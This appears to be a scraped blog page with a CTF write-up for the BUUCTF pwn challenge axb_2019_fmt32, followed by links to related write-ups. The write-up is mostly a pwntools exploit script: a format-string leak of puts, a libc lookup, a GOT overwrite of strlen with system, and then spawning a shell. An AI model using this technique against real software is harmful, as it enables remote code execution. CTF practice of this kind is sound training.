[BUUCTF-pwn]——axb_2019_fmt32
[BUUCTF-pwn]——axb_2019_fmt32
啊啊啊啊啊啊啊,为什么明明很简单的一道题写了好久
from pwn import *
from LibcSearcher import LibcSearcherp = remote("node3.buuoj.cn",26515)
elf = ELF("./axb_2019_fmt32")puts_got = elf.got["puts"]strlen_got = elf.got["strlen"]payload1 = "%9$s" + "a" + p32(puts_got)
p.sendafter("Please tell me:",payload1)
p.recvuntil(":")
puts_addr = u32(p.recv(4))
print(hex(puts_addr))libc = LibcSearcher("puts",puts_addr)
libcbase = puts_addr - libc.dump("puts")
system_addr = libcbase + libc.dump("system")
bin_sh = libcbase + libc.dump("str_bin_sh")
log.success("system_addr ---> ", hex(system_addr))
info("bin_sh ---> ", hex(bin_sh))high_sys = (system_addr >> 16) & 0xffff
low_sys = system_addr & 0xffffpayload2 = "a" + "%" + str(low_sys - 10) + "c%16$hn" + "%" + str(high_sys - low_sys) + "c%17$hn"
payload2 += "a" * 6
payload2 += p32(strlen_got) + p32(strlen_got + 2)p.sendafter("Please tell me:",payload2) payload3 = ';/bin/sh\x00'
p.sendafter("Please tell me:",payload3)p.interactive()
[BUUCTF-pwn]——axb_2019_fmt32相关推荐
- 持续更新 BUUCTF——PWN(一)
文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...
- BUUCTF Pwn warmup
BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...
- BUUCTF PWN rip1 WP
BUUCTF PWN rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...
- buuctf pwn bjdctf_2020_babyrop
buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...
- 持续更新 BUUCTF——PWN(二)
文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...
- BUUCTF【axb_2019_fmt32】
例行检查 是开 了部分relro,可以改写got表,然后栈不可执行不, IDA分析 很简单的一个程序,会先初始化一些后续要用到的栈空间,然后让我们输入,字节数大小会有限制,然后再对我们的输入做一个长度 ...
- 持续更新 BUUCTF——PWN(三)
文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...
- Buuctf(pwn) picoctf_2018_rop chain 栈溢出
32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...
- BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc
思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...
- Buuctf(pwn) jarvisoj_tell_me_something 栈溢出
64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...
最新文章
- CentOS No manual entry for man 没有 xx 的手册页条目
- NUTCH的安装与测试
- 电子计算机场地通用规范_最全的视频监控系统施工规范要求
- c语言测试清单,c语言测试(C language test).doc
- backbone学习笔记:集合(Collection)
- 大一软件工程C语言推荐书籍,大一软件工程学生,看完了谭浩强的书,越看越迷茫,感觉并没什么用,什么大程序都不会编,求指点?...
- 清华大学计算机考研总结,2020考研清华大学计算机考研考试科目总结
- linux佳入门教程,命令行基础工具的更佳替代品
- 生活中不可或缺的赚钱智慧
- 域名前缀和后缀html,域名常用前缀和后缀
- 智能环境监测产品浪涌防护整改之TVS管
- 你中招了吗?《心理学常见误区》
- 关于前端PDF显示和盖章(vue)
- 消除macbook桌面快捷键图标上的箭头
- 医院云PACS管理系统源码
- 【技术栈——00061】搭建关于python项目docker镜像的Dockerfile文件示例(自己的)
- pdf怎么转换成jpg图片效果好
- java web开发(和vue联合开发)
- 网络编程中的SO_REUSEADDR和SO_REUSEPORT参数详解
- pe如何自动加载外置工具_WINPE如何做到启动后自动运行外置程序里面指定的程序...